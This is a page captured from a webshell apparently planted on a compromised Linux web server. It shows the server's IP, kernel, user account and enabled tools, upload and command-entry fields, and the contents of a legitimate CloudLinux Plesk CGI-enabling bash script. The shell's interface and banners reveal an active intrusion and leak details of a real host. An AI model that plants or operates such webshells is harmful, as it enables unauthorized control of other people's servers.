- GRAYBYTE UNDETECTABLE CODES -

403Webshell
Server IP : 184.154.167.98  /  Your IP : 18.225.98.190
Web Server : Apache
System : Linux pink.dnsnetservice.com 4.18.0-553.22.1.lve.1.el8.x86_64 #1 SMP Tue Oct 8 15:52:54 UTC 2024 x86_64
User : puertode ( 1767)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/l.v.e-manager/utils/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/l.v.e-manager/utils//plesk-cgi.sh
#!/bin/bash

# Copyright © Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2019 All Rights Reserved
#
# Licensed under CLOUD LINUX LICENSE AGREEMENT
# http://cloudlinux.com/docs/LICENSE.TXT

mkdir -p /usr/share/lve/plesk/script/domini-cgi
cd /usr/share/lve/plesk/script/domini-cgi
domini=`ls -1 /var/www/vhosts`
for domini in $domini
do
touch $domini > /usr/share/lve/plesk/script/domini-cgi/$domini
done
#
rm -rf /usr/share/lve/plesk/script/domini-cgi/default
rm -rf /usr/share/lve/plesk/script/domini-cgi/chroot

##############################################

ls -1 /usr/share/lve/plesk/script/domini-cgi/ > /usr/share/lve/plesk/script/domini_cgi.txt

##############################################

sottodomini=`cat /usr/share/lve/plesk/script/domini_cgi.txt`
for sottodomini_cgi in $sottodomini
do
ls -1 /var/www/vhosts/$sottodomini_cgi/subdomains >> /usr/share/lve/plesk/script/domini-cgi/$sottodomini_cgi
done

###############################################

check=`ls -1 /usr/share/lve/plesk/script/domini-cgi`
for cgi in $check
do
checking=`cat $cgi`
for cgic in $checking
do
/usr/local/psa/bin/subdomain --update $cgic -domain $cgi -cgi true
done
/usr/local/psa/bin/domain --update $cgi -cgi true
done

################################################

rm -rf /usr/share/lve/plesk/script/domini-cgi/
rm -rf /usr/share/lve/plesk/script/domini_cgi.txt

################################################

exit

Youez - 2016 - github.com/yon3zu
LinuXploit